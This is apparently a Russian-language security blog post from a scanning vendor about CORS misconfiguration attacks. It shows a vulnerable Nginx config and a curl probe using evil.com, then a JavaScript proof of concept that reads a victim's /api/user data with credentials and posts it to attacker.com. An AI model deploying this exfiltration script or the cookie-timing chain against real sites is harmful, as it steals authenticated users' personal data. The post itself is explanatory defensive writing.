Атаки на CORS: все еще в моде

CORS или Cross-Origin Resource Sharing - защитная особенность браузеров предназначенная для предотвращения передачи данных между разными источниками (доменами). CORS используется для гибкой настройки и смягчения защитного механизма браузеров SOP (Same Origin Policy) который предназначен для контроля доступа к данным при межсайтовых запросах.

Дата выхода: Время прочтения статьи:
Атаки на CORS: все еще в моде

Введение

Современные браузеры блокируют большинство распространенных атак, но в результате анализа периметра наших клиентов выявили несколько исключительных случаев где атака с использованием этой мисконфигурации может привести к серьезным последствиям.

Стандартным сценарием является наличие заголовков:

Access-Control-Allow-Origin: https://example.org
Access-Control-Allow-Credentials: True

При некорректной конфигурации веб-сервера, например в Nginx:

server {
    listen 80;
    server_name example.org;

    location / {
        add_header 'Access-Control-Allow-Origin' '$http_origin';
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
        add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range';
        add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range';
    }
}

Сервер будет возвращать тот домен который передаст клиент в заголовке Origin, например:

curl http://example.org -H "Origin: http://evil.com"

В ответе сервер вернет следующие заголовки:

< HTTP/1.1 200 OK
< server: nginx/1.26.3
< access-control-allow-origin: http://evil.com
< access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
< access-control-expose-headers: Content-Length,Content-Range
< access-control-allow-credentials: true

При такой конфигурации атакующий может выполнить простую атаку:

  • Создать страницу на которой будет расположен вредоносный скрипт:
<script>
        // Target URL with sensitive data
        const targetUrl = 'http://example.org/api/user';

        // Function to make the cross-origin request
        function exploitCORS() {
            fetch(targetUrl, {
                method: 'GET',
                credentials: 'include' // Include cookies if necessary
            })
            .then(response => response.json())
            .then(data => {
                // Display the stolen data on the page (for demonstration purposes)
                document.getElementById('output').innerText = JSON.stringify(data, null, 2);

                // Send the stolen data to the attacker's server
                fetch('http://attacker.com/steal', {
                    method: 'POST',
                    body: JSON.stringify(data),
                    headers: {
                        'Content-Type': 'application/json'
                    }
                });
            })
            .catch(error => {
                console.error('Error:', error);
                document.getElementById('output').innerText = 'Error: ' + error.message;
            });
        }
    </script>
  • Заманить жертву аутентифицированную на сайте example.org на страницу с вредоносным скриптом
  • В результате эксплуатации злоумышленник получит на свой сервер (attacker.com) данные которые предназначались для жертвы по API пути api/user

Несмотря на то, что современные браузеры блокируют такую атаку с использованием "SameSite=Lax" атрибута для Cookie, нередко можно встретить где разработчики намеренно могут указать значение атрибута для сессионной Cookie в "none".

Кроме этого, браузер Google Chrome устанавливает это значение в Lax только спустя 2 минуты после аутентификации, что может открыть возможность эксплуатации с использованием цепочек атак (например, обновить сессионную Cookie с помощью дополнительной уязвимости и выполнить запрос до того как атрибут будет установлен в Lax).

Атака на локальную сеть

Еще один менее известный сценарий - это атака на ресурсы во внутренней сети (Интранет). Если внутри сети есть ресурс который не использует какую-либо аутентификацию и заголовки CORS сконфигурированы следующим образом:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

То атакующий может заманить сотрудника с доступом к Интранет ресурсу (по VPN) на свой сайт и сделать такое же обращение к ресурсу, но без передачи "credentials". В этом случае атакующий сможет получить конфиденциальную информацию с этого ресурса на свой сервер.

Тем не менее, в обычных сценариях такую комбинацию заголовков невозможно проэксплуатировать из-за того, что современные браузеры блокируют передачу сессии если значение заголовка Access-Control-Allow-Origin: * установлено в Wildcard (*).

Реальные случаи взлома

В инфраструктуре одного из клиента выявили распространенное ПО для оказания удаленных онлайн консультаций. В результате анализа приложения выявили несколько API вызовов которые позволяли получить информацию о профиле, загруженных файлах, истории встреч.

Заголовок `Access-Control-Allow-Origin` возвращал произвольный на основе значения заголовка "Origin" в запросе от клиента, а Cookie для сессии использовалась с атрибутом "SameSite=None" что позволило делать межсайтовые запросы к API без ограничений.

Для демонстрации создали PoC который позволил извлекать произвольные файлы загруженные пользователями, которые содержали важные персональные данные, в т.ч. паспортные и медицинские.

Заключение

Несмотря на то, что атаки на CORS стали редкими и предотвращаются во многих случаях браузерами, не стоит оставлять небезопасную конфигурацию без внимания, так как не исключены случаи где некритичный недостаток в конфигурации может привести к серьезным последствиям.

Метаскан помогает выявлять подобные мисконфигурации с помощью Nuclei шаблона, а наши специалисты проводят ручной анализ возможных сценариев эксплуатации в каждом случае.

Атаки на CORS: все еще в моде | METASCAN